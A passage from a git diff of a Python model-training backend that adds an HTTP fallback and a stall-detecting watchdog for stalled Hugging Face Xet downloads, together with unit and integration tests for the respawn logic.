index 4fa48a2d88..6b6deb1265 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -30,15 +30,15 @@ from pathlib import Path
 from typing import Any, Generator, Optional, Tuple, Union
 from utils.hardware import prepare_gpu_selection
 
+# Re-exported from the shared helper so GGUF, training, and inference share one
+# type; kept importable here for backwards compatibility.
+from utils.hf_xet_fallback import DownloadStallError
+
 logger = get_logger(__name__)
 
 _CTX = mp.get_context("spawn")
 
 
-class DownloadStallError(RuntimeError):
-    """Raised when the worker reports no download progress for too long."""
-
-
 # Dispatcher timeout constants (seconds)
 _DISPATCH_READ_TIMEOUT = 30.0
 _DISPATCH_POLL_INTERVAL = 0.5
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index d69246f584..0c3d42a2fe 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -217,6 +217,12 @@ class TrainingBackend:
         self._db_config: Optional[dict] = None
         self._db_started_at: Optional[str] = None
 
+        # Xet -> HTTP model-load fallback state (config kept for the respawn).
+        self._last_full_config: Optional[dict] = None
+        self._in_model_load: bool = False
+        self._xet_fallback_used: bool = False
+        self._needs_xet_respawn: bool = False
+
         logger.info("TrainingBackend initialized (subprocess mode)")
 
     # ------------------------------------------------------------------
@@ -311,6 +317,8 @@ class TrainingBackend:
             "trust_remote_code": kwargs.get("trust_remote_code", False),
             "gpu_ids": kwargs.get("gpu_ids"),
             "s3_config": kwargs.get("s3_config"),
+            # Flipped to True only by the HTTP-fallback respawn after a stall.
+            "disable_xet": kwargs.get("disable_xet", False),
         }
 
         # Full finetuning always runs in 16-bit; LoRA/QLoRA/CPT keep the request.
@@ -386,6 +394,11 @@ class TrainingBackend:
         self._db_total_steps_set = False
         self._db_config = _sanitize_db_config(config)
         self._db_started_at = datetime.now(timezone.utc).isoformat()
+        # Start each job Xet-first; keep config so a stall can respawn over HTTP.
+        self._last_full_config = config
+        self._in_model_load = False
+        self._xet_fallback_used = False
+        self._needs_xet_respawn = False
 
         # Assign subprocess handles after state reset.
         self._event_queue = event_queue
@@ -446,6 +459,97 @@ class TrainingBackend:
                     output_dir,
                 )
 
+    def _handle_stall_event(self, event: dict) -> None:
+        """A worker reported a no-progress download stall.
+
+        On the first model-load, terminate the worker so the pump loop respawns it
+        over HTTP. A later stall (already on HTTP, or outside model-load) surfaces
+        as an error instead.
+        """
+        msg = event.get("message", "Download stalled")
+        with self._lock:
+            recover = self._in_model_load and not self._xet_fallback_used
+            proc = self._proc
+            if recover:
+                self._xet_fallback_used = True
+                self._needs_xet_respawn = True
+                self._progress.status_message = (
+                    "Model download stalled on Xet; retrying over HTTP..."
+                )
+            else:
+                self._progress.error = self._progress.error or (
+                    "Model download stalled even over HTTP -- check your network connection"
+                )
+        if recover:
+            logger.warning("Training model-load stalled on Xet; respawning over HTTP: %s", msg)
+        else:
+            logger.error("Training download stalled with no further fallback: %s", msg)
+        # Terminate either way so the pump loop proceeds (respawn or finalize).
+        if proc is not None and proc.is_alive():
+            proc.terminate()
+
+    def _respawn_worker_disable_xet(self) -> None:
+        """Respawn the worker once with HF_HUB_DISABLE_XET=1 after a model-load
+        stall. Runs on the exiting pump thread, reaps the terminated worker, and
+        starts a fresh worker + pump. DB/progress run-state is preserved so the
+        history row is not duplicated; the new worker re-formats and loads over HTTP.
+        """
+        config = self._last_full_config
+        if config is None:
+            logger.error("Cannot respawn training worker: no stored config")
+            return
+
+        with self._lock:
+            old_proc = self._proc
+        if old_proc is not None:
+            old_proc.join(timeout = 5.0)
+            if old_proc.is_alive():
+                old_proc.kill()
+                old_proc.join(timeout = 2.0)
+
+        config = {**config, "disable_xet": True}
+        self._last_full_config = config
+        logger.warning("Respawning training worker with HF_HUB_DISABLE_XET=1 after Xet stall")
+
+        from .worker import run_training_process
+
+        try:
+            with native_path_secret_removed_for_child_start():
+                event_queue = _CTX.Queue()
+                stop_queue = _CTX.Queue()
+                new_proc = _CTX.Process(
+                    target = run_without_native_path_secret,
+                    args = (run_training_process,),
+                    kwargs = {
+                        "event_queue": event_queue,
+                        "stop_queue": stop_queue,
+                        "config": config,
+                    },
+                    daemon = True,
+                )
+                new_proc.start()
+        except Exception:
+            logger.error("Failed to respawn training subprocess", exc_info = True)
+            with self._lock:
+                self._progress.is_training = False
+                self._progress.error = "Failed to recover stalled model download"
+            self._ensure_db_run_created()
+            self._finalize_run_in_db(
+                status = "error",
+                error_message = "Failed to recover stalled model download",
+            )
+            return
+
+        logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid)
+        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+        with self._lock:
+            self._in_model_load = False
+            self._event_queue = event_queue
+            self._stop_queue = stop_queue
+            self._proc = new_proc
+            self._pump_thread = new_pump
+        new_pump.start()
+
     def is_training_active(self) -> bool:
         """Check if training is currently active."""
         with self._lock:
@@ -566,6 +670,14 @@ class TrainingBackend:
             for e in self._drain_queue(self._event_queue):
                 self._handle_event(e)
 
+            # Model-load stall: respawn over HTTP instead of finalizing as failure.
+            # Runs on THIS exiting pump thread and starts a fresh pump (never joins
+            # the current thread); DB run-state is preserved.
+            if self._needs_xet_respawn:
+                self._needs_xet_respawn = False
+                self._respawn_worker_disable_xet()
+                return
+
             # Mark done if no explicit complete/error was received.
             with self._lock:
                 if self._progress.is_training:
@@ -597,6 +709,19 @@ class TrainingBackend:
         db_action: Optional[str] = None
         db_action_kwargs: dict = {}
 
+        # Model-load lifecycle + stall recovery (no DB metrics); handled first.
+        if etype == "model_load_started":
+            with self._lock:
+                self._in_model_load = True
+            return
+        if etype == "model_load_completed":
+            with self._lock:
+                self._in_model_load = False
+            return
+        if etype == "stall":
+            self._handle_stall_event(event)
+            return
+
         with self._lock:
             if etype == "progress":
                 self._progress.step = event.get("step", self._progress.step)
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index b106aa1298..65533b6946 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1987,6 +1987,19 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
     os.environ["TOKENIZERS_PARALLELISM"] = "false"
     os.environ["PYTHONWARNINGS"] = "ignore"  # before imports
 
+    # HTTP-fallback respawn: disable Xet before any huggingface_hub import (the
+    # var is read at import time). Mirrors core/inference/worker.py.
+    from utils.hf_xet_fallback import child_should_disable_xet
+
+    if child_should_disable_xet(config):
+        os.environ["HF_HUB_DISABLE_XET"] = "1"
+        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
+        print(
+            "Xet transport disabled for this training worker (HF_HUB_DISABLE_XET=1).",
+            file = sys.stderr,
+            flush = True,
+        )
+
     # Offline auto-detect: skip ~25s of HF retries per call when DNS is dead.
     if "HF_HUB_OFFLINE" not in os.environ:
         import socket as _socket
@@ -2706,18 +2719,33 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         cpt_trains_embeddings = False
 
         # ── 4c. Load training model (uses VRAM — dataset already formatted) ──
+        # Watchdog lets the parent recover a stalled Xet download via respawn.
         _send_status(event_queue, "Loading model...")
-        success = trainer.load_model(
-            model_name = model_name,
-            max_seq_length = config["max_seq_length"],
-            load_in_4bit = config["load_in_4bit"],
-            full_finetuning = not use_lora,
-            hf_token = hf_token,
-            is_dataset_image = config.get("is_dataset_image", False),
-            is_dataset_audio = config.get("is_dataset_audio", False),
-            trust_remote_code = config.get("trust_remote_code", False),
-            gpu_ids = config.get("resolved_gpu_ids"),
+        from utils.hf_xet_fallback import start_watchdog
+
+        event_queue.put({"type": "model_load_started", "ts": time.time()})
+        _load_watchdog_stop = start_watchdog(
+            repo_ids = [model_name],
+            on_stall = lambda msg: event_queue.put(
+                {"type": "stall", "message": msg, "ts": time.time()}
+            ),
+            xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
+        try:
+            success = trainer.load_model(
+                model_name = model_name,
+                max_seq_length = config["max_seq_length"],
+                load_in_4bit = config["load_in_4bit"],
+                full_finetuning = not use_lora,
+                hf_token = hf_token,
+                is_dataset_image = config.get("is_dataset_image", False),
+                is_dataset_audio = config.get("is_dataset_audio", False),
+                trust_remote_code = config.get("trust_remote_code", False),
+                gpu_ids = config.get("resolved_gpu_ids"),
+            )
+        finally:
+            _load_watchdog_stop.set()
+            event_queue.put({"type": "model_load_completed", "ts": time.time()})
         if not success or trainer.should_stop:
             if trainer.should_stop:
                 event_queue.put({"type": "complete", "output_dir": None, "ts": time.time()})
diff --git a/studio/backend/tests/test_gguf_xet_fallback_integration.py b/studio/backend/tests/test_gguf_xet_fallback_integration.py
new file mode 100644
index 0000000000..cbcc73847e
--- /dev/null
+++ b/studio/backend/tests/test_gguf_xet_fallback_integration.py
@@ -0,0 +1,160 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Integration: GGUF Chat-Mode downloads route through the Xet->HTTP helper,
+preserving cancellation and the best-effort companion contract. No GPU, no
+network, no real subprocess (the helper is patched).
+"""
+
+from __future__ import annotations
+
+import sys
+import threading
+import types as _types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Heavy-dep stubbing; prefer the real structlog so a bare stub never leaks to
+# later modules that log at import time.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+try:
+    import structlog  # noqa: F401
+except ImportError:
+    sys.modules["structlog"] = _types.ModuleType("structlog")
+try:
+    import httpx  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+        "HTTPStatusError",
+    ):
+        setattr(_httpx_stub, _exc, type(_exc, (Exception,), {}))
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Request = type("Request", (), {})
+    _httpx_stub.Timeout = type("Timeout", (), {"__init__": lambda self, *a, **k: None})
+    _httpx_stub.Client = type(
+        "Client",
+        (),
+        {
+            "__init__": lambda self, **k: None,
+            "__enter__": lambda self: self,
+            "__exit__": lambda self, *a: None,
+        },
+    )
+    sys.modules.setdefault("httpx", _httpx_stub)
+
+from huggingface_hub import constants as hf_constants
+
+from core.inference.llama_cpp import LlamaCppBackend
+from utils.hf_xet_fallback import DownloadStallError
+
+REPO = "unsloth/vision-GGUF"
+
+
+@pytest.fixture
+def hf_cache(tmp_path, monkeypatch):
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    return tmp_path
+
+
+def _build_cache(
+    root: Path,
+    repo_id: str,
+    files: dict[str, int],
+    sha: str = "a" * 40,
+) -> Path:
+    repo_dir = root / f"models--{repo_id.replace('/', '--')}"
+    (repo_dir / "blobs").mkdir(parents = True, exist_ok = True)
+    snap = repo_dir / "snapshots" / sha
+    snap.mkdir(parents = True, exist_ok = True)
+    for rel, size in files.items():
+        (snap / rel).write_bytes(b"\0" * size)
+    return snap
+
+
+def test_companion_routes_through_helper(hf_cache):
+    _build_cache(hf_cache, REPO, {"mmproj-vision-F16.gguf": 1})
+    backend = LlamaCppBackend()
+    captured = {}
+
+    def fake_helper(
+        repo_id,
+        filename,
+        token = None,
+        **kwargs,
+    ):
+        captured["filename"] = filename
+        captured["cancel_event"] = kwargs.get("cancel_event")
+        return f"/fake/{filename}"
+
+    with (
+        patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]),
+        patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_helper),
+    ):
+        out = backend._download_mmproj(hf_repo = REPO, hf_token = None)
+
+    assert out == "/fake/mmproj-vision-F16.gguf"
+    # _cancel_event must be threaded through so /unload can abort the download.
+    assert captured["cancel_event"] is backend._cancel_event
+
+
+def test_companion_swallows_terminal_stall_to_none(hf_cache):
+    _build_cache(hf_cache, REPO, {"mmproj-vision-F16.gguf": 1})
+    backend = LlamaCppBackend()
+
+    def stalling_helper(
+        repo_id,
+        filename,
+        token = None,
+        **kwargs,
+    ):
+        raise DownloadStallError("both transports stalled")
+
+    with (
+        patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]),
+        patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", stalling_helper),
+    ):
+        out = backend._download_mmproj(hf_repo = REPO, hf_token = None)
+
+    assert out is None, "a companion download is best-effort; a terminal stall must not raise"
+
+
+def test_companion_cancelled_skips_download(hf_cache):
+    _build_cache(hf_cache, REPO, {"mmproj-vision-F16.gguf": 1})
+    backend = LlamaCppBackend()
+    backend._cancel_event.set()
+    called = {"n": 0}
+
+    def helper(
+        repo_id,
+        filename,
+        token = None,
+        **kwargs,
+    ):
+        called["n"] += 1
+        return "/should-not-happen"
+
+    with (
+        patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]),
+        patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", helper),
+    ):
+        out = backend._download_mmproj(hf_repo = REPO, hf_token = None)
+
+    assert out is None
+    assert called["n"] == 0, "a cancelled load must not start a companion download"
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
new file mode 100644
index 0000000000..39ecebd328
--- /dev/null
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -0,0 +1,352 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP
+transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on.
+CPU-only, no network, no real subprocess (the per-attempt download seam is
+monkeypatched).
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import threading
+import time
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub heavy/unavailable deps before importing the module under test. Use the
+# real structlog when present; a bare stub left in sys.modules would break later
+# modules that log at import time.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+try:
+    import structlog  # noqa: F401
+except ImportError:
+    sys.modules["structlog"] = _types.ModuleType("structlog")
+
+import huggingface_hub
+from huggingface_hub import constants as hf_constants
+
+import utils.hf_xet_fallback as xf
+
+
+# --------------------------------------------------------------------------- #
+# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total.
+# --------------------------------------------------------------------------- #
+REPO = "ztest/xet-watchdog"
+
+
+@pytest.fixture
+def hf_cache(tmp_path, monkeypatch):
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    return tmp_path
+
+
+def _blobs_dir(root: Path, repo_id: str = REPO) -> Path:
+    d = root / f"models--{repo_id.replace('/', '--')}" / "blobs"
+    d.mkdir(parents = True, exist_ok = True)
+    return d
+
+
+def _wait(
+    predicate,
+    timeout: float = 2.0,
+    step: float = 0.02,
+) -> bool:
+    deadline = time.monotonic() + timeout
+    while time.monotonic() < deadline:
+        if predicate():
+            return True
+        time.sleep(step)
+    return predicate()
+
+
+def test_constant_incomplete_fires_stall(hf_cache):
+    blobs = _blobs_dir(hf_cache)
+    (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024)  # never grows
+
+    calls: list[str] = []
+    stop = xf.start_watchdog(
+        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
+    )
+    try:
+        assert _wait(
+            lambda: len(calls) >= 1, timeout = 3.0
+        ), "watchdog never fired on a constant-size .incomplete"
+    finally:
+        stop.set()
+    assert "stalled" in calls[0].lower()
+
+
+def test_growing_incomplete_never_stalls(hf_cache):
+    blobs = _blobs_dir(hf_cache)
+    part = blobs / "growing.incomplete"
+    part.write_bytes(b"\0" * 1024)
+
+    grow_stop = threading.Event()
+
+    def _grow():
+        size = 1024
+        while not grow_stop.wait(0.05):
+            size += 4096
+            part.write_bytes(b"\0" * size)
+
+    grower = threading.Thread(target = _grow, daemon = True)
+    grower.start()
+
+    calls: list[str] = []
+    stop = xf.start_watchdog(
+        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
+    )
+    try:
+        time.sleep(1.0)  # well past stall_timeout, but bytes keep growing
+        assert calls == [], "watchdog fired despite continuous progress"
+    finally:
+        stop.set()
+        grow_stop.set()
+
+
+def test_no_incomplete_never_stalls(hf_cache):
+    blobs = _blobs_dir(hf_cache)
+    (blobs / "finalized_blob").write_bytes(b"\0" * 4096)  # no .incomplete
+
+    calls: list[str] = []
+    stop = xf.start_watchdog(
+        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
+    )
+    try:
+        time.sleep(0.8)
+        assert calls == [], "watchdog fired with no active .incomplete"
+    finally:
+        stop.set()
+
+
+def test_stall_fires_at_most_once(hf_cache):
+    blobs = _blobs_dir(hf_cache)
+    (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048)
+
+    calls: list[str] = []
+    stop = xf.start_watchdog(
+        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2
+    )
+    try:
+        assert _wait(lambda: len(calls) >= 1, timeout = 3.0)
+        time.sleep(0.6)  # keep ticking; must not fire again
+        assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1"
+    finally:
+        stop.set()
+
+
+def test_get_state_empty_cache(hf_cache):
+    assert xf.get_hf_download_state([REPO]) == (0, False)
+
+
+def test_get_state_absent_cache_root(tmp_path, monkeypatch):
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache"))
+    assert xf.get_hf_download_state([REPO]) == (0, False)
+
+
+def test_get_state_skips_local_paths(hf_cache):
+    # Filesystem paths are not HF repo IDs and must be ignored without error.
+    assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False)
+
+
+def test_get_state_sparse_aware(hf_cache):
+    blobs = _blobs_dir(hf_cache)
+    sparse = blobs / "sparse.incomplete"
+    with open(sparse, "wb") as f:
+        f.truncate(64 * 1024 * 1024)  # large apparent size, few allocated blocks
+    st = sparse.stat()
+    if getattr(st, "st_blocks", 0) == 0:
+        pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable")
+    total, has_incomplete = xf.get_hf_download_state([REPO])
+    assert has_incomplete is True
+    assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks"
+
+
+# --------------------------------------------------------------------------- #
+# Transport policy: cached short-circuit, cancel, error propagation, and the
+# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn.
+# --------------------------------------------------------------------------- #
+DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf"
+
+
+@pytest.fixture(autouse = True)
+def _no_real_cache_hit(monkeypatch):
+    """Default: the cached probe misses; tests override it to force a hit."""
+    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None)
+
+
+class _FakeAttempt:
+    """Records calls to the download seam and returns scripted results."""
+
+    def __init__(self, results):
+        self._results = list(results)
+        self.calls = []
+
+    def __call__(
+        self,
+        repo_id,
+        filename,
+        token,
+        *,
+        repo_type,
+        disable_xet,
+        cancel_event,
+        stall_timeout,
+        interval,
+        grace_period,
+        on_status,
+    ):
+        self.calls.append(
+            _types.SimpleNamespace(
+                repo_id = repo_id,
+                filename = filename,
+                disable_xet = disable_xet,
+                repo_type = repo_type,
+            )
+        )
+        return self._results[len(self.calls) - 1]
+
+
+def _install(monkeypatch, results):
+    fake = _FakeAttempt(results)
+    monkeypatch.setattr(xf, "_run_download_attempt", fake)
+    return fake
+
+
+def test_cached_file_short_circuits(monkeypatch, tmp_path):
+    cached = tmp_path / "cached.gguf"
+    cached.write_bytes(b"\0" * 8)
+    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached))
+    fake = _install(monkeypatch, [])  # must not be called
+
+    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert out == str(cached)
+    assert fake.calls == [], "spawned a download for an already-cached file"
+
+
+def test_cancel_before_start_raises_no_attempt(monkeypatch):
+    fake = _install(monkeypatch, [])
+    ev = threading.Event()
+    ev.set()
+    with pytest.raises(RuntimeError, match = "Cancelled"):
+        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev)
+    assert fake.calls == []
+
+
+def test_nonstall_error_propagates_without_fallback(monkeypatch):
+    fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")])
+    with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"):
+        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback"
+    assert fake.calls[0].disable_xet is False
+
+
+def test_immediate_success_uses_xet_only(monkeypatch):
+    prepared = []
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport",
+        lambda *a, **k: prepared.append(a),
+    )
+    fake = _install(monkeypatch, [("ok", "/cache/model.gguf")])
+    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert out == "/cache/model.gguf"
+    assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False
+    assert prepared == [], "no cache prep should run when Xet succeeds first try"
+
+
+def test_stall_then_http_fallback_succeeds(monkeypatch):
+    prepared = []
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport",
+        lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)),
+    )
+    fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")])
+
+    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert out == "/cache/model.gguf"
+    assert len(fake.calls) == 2
+    assert fake.calls[0].disable_xet is False  # Xet first
+    assert fake.calls[1].disable_xet is True  # HTTP fallback
+    assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry"
+
+
+def test_second_stall_raises_download_stall_error(monkeypatch):
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
+    )
+    fake = _install(monkeypatch, [("stall", None), ("stall", None)])
+    with pytest.raises(xf.DownloadStallError):
+        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert len(fake.calls) == 2
+
+
+def test_cancelled_midattempt_raises_no_fallback(monkeypatch):
+    fake = _install(monkeypatch, [("cancelled", None)])
+    with pytest.raises(RuntimeError, match = "Cancelled"):
+        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
+    assert len(fake.calls) == 1
+
+
+def test_per_file_independent_fallback(monkeypatch):
+    """A stalled shard falls back; a sibling shard that succeeds does not."""
+    monkeypatch.setattr(
+        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
+    )
+    fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")])
+    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a"
+    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b"
+    assert [c.disable_xet for c in fake.calls] == [False, False, True]
+
+
+# --------------------------------------------------------------------------- #
+# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect
+# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it).
+# --------------------------------------------------------------------------- #
+def _safe_path() -> str:
+    import os
+    return os.environ.get("PATH", "")
+
+
+def test_disable_xet_constant_set_in_fresh_interpreter():
+    code = (
+        "from huggingface_hub import constants as c; "
+        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)"
+    )
+    proc = subprocess.run(
+        [sys.executable, "-c", code],
+        env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()},
+        capture_output = True,
+        text = True,
+    )
+    assert proc.returncode == 0, (
+        f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True "
+        f"(rc={proc.returncode}): {proc.stderr}"
+    )
+
+
+def test_default_leaves_xet_enabled():
+    code = (
+        "from huggingface_hub import constants as c; "
+        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)"
+    )
+    proc = subprocess.run(
+        [sys.executable, "-c", code],
+        env = {"PATH": _safe_path()},  # no HF_HUB_DISABLE_XET
+        capture_output = True,
+        text = True,
+    )
+    assert proc.returncode == 0, (
+        f"without the env var, constants.HF_HUB_DISABLE_XET was not False "
+        f"(rc={proc.returncode}): {proc.stderr}"
+    )
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index a9e0b98247..c00e98ad7e 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -639,17 +639,20 @@ class TestDownloadMmprojOfflineCacheFallback:
             raise OSError("offline")
 
         def fake_download(
-            *,
             repo_id,
             filename,
             token = None,
+            **kwargs,
         ):
             # Echo back so the test can verify the cache-resolved filename
             return f"/fake/cache/{repo_id}/{filename}"
 
         with (
             patch("huggingface_hub.list_repo_files", boom_list),
-            patch("huggingface_hub.hf_hub_download", fake_download),
+            patch(
+                "core.inference.llama_cpp.hf_hub_download_with_xet_fallback",
+                fake_download,
+            ),
         ):
             out = backend._download_mmproj(
                 hf_repo = "unsloth/vision-GGUF",
@@ -675,17 +678,20 @@ class TestDownloadMmprojOfflineCacheFallback:
         captured = {}
 
         def fake_download(
-            *,
             repo_id,
             filename,
             token = None,
+            **kwargs,
         ):
             captured["filename"] = filename
             return f"/fake/{filename}"
 
         with (
             patch("huggingface_hub.list_repo_files", boom_list),
-            patch("huggingface_hub.hf_hub_download", fake_download),
+            patch(
+                "core.inference.llama_cpp.hf_hub_download_with_xet_fallback",
+                fake_download,
+            ),
         ):
             backend._download_mmproj(
                 hf_repo = "unsloth/vision-GGUF",
diff --git a/studio/backend/tests/test_training_xet_fallback.py b/studio/backend/tests/test_training_xet_fallback.py
new file mode 100644
index 0000000000..b4a3864334
--- /dev/null
+++ b/studio/backend/tests/test_training_xet_fallback.py
@@ -0,0 +1,209 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Parent-side training Xet->HTTP fallback: a model-load stall respawns the
+worker once with Xet disabled, preserving the DB run row. Driven via
+_handle_event with a fake spawn context; no GPU, no network, no real subprocess.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import queue
+import sys
+import threading
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the heavy module-level imports of core/training/training.py so it imports
+# under CPU-only/no-network, then restore them (see the restore loop below).
+_SAVED: dict = {}
+
+
+def _stub(name, mod):
+    _SAVED[name] = sys.modules.get(name)
+    sys.modules[name] = mod
+
+
+_lg = _types.ModuleType("loggers")
+_lg.get_logger = lambda name: logging.getLogger(name)
+_stub("loggers", _lg)
+_stub("structlog", _types.ModuleType("structlog"))
+_mpl = _types.ModuleType("matplotlib")
+_plt = _types.ModuleType("matplotlib.pyplot")
+_plt.Figure = type("Figure", (), {})  # referenced in a class-def annotation
+_mpl.pyplot = _plt
+_stub("matplotlib", _mpl)
+_stub("matplotlib.pyplot", _plt)
+_hw = _types.ModuleType("utils.hardware")
+_hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+_stub("utils.hardware", _hw)
+_npl = _types.ModuleType("utils.native_path_leases")
+_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext()
+_npl.run_without_native_path_secret = lambda fn: fn
+_stub("utils.native_path_leases", _npl)
+_pth = _types.ModuleType("utils.paths")
+_pth.outputs_root = lambda *a, **k: "/tmp/outputs"
+_stub("utils.paths", _pth)
+
+import core.training.training as training_mod
+from core.training.training import TrainingBackend
+
+# Restore every stubbed module so this file never pollutes the shared session: a
+# leaked bare ``structlog`` (no ``get_logger``) would break every later module
+# that logs at import. training_mod already bound the stubs it needs at runtime.
+for _name in (
+    "loggers",
+    "structlog",
+    "matplotlib",
+    "matplotlib.pyplot",
+    "utils.hardware",
+    "utils.native_path_leases",
+    "utils.paths",
+):
+    _prev = _SAVED.get(_name)
+    if _prev is None:
+        sys.modules.pop(_name, None)
+    else:
+        sys.modules[_name] = _prev
+
+
+@pytest.fixture(autouse = True)
+def _stub_worker_module():
+    """Stub ``core.training.worker`` so the respawn's lazy import of the
+    torch-heavy worker is never required."""
+    prev = sys.modules.get("core.training.worker")
+    stub = _types.ModuleType("core.training.worker")
+    stub.run_training_process = lambda **kwargs: None
+    sys.modules["core.training.worker"] = stub
+    yield
+    if prev is None:
+        sys.modules.pop("core.training.worker", None)
+    else:
+        sys.modules["core.training.worker"] = prev
+
+
+class _FakeProc:
+    def __init__(self, **kwargs):
+        self._alive = True
+        self.pid = 4321
+        self.kwargs = kwargs
+
+    def start(self):
+        pass
+
+    def is_alive(self):
+        return self._alive
+
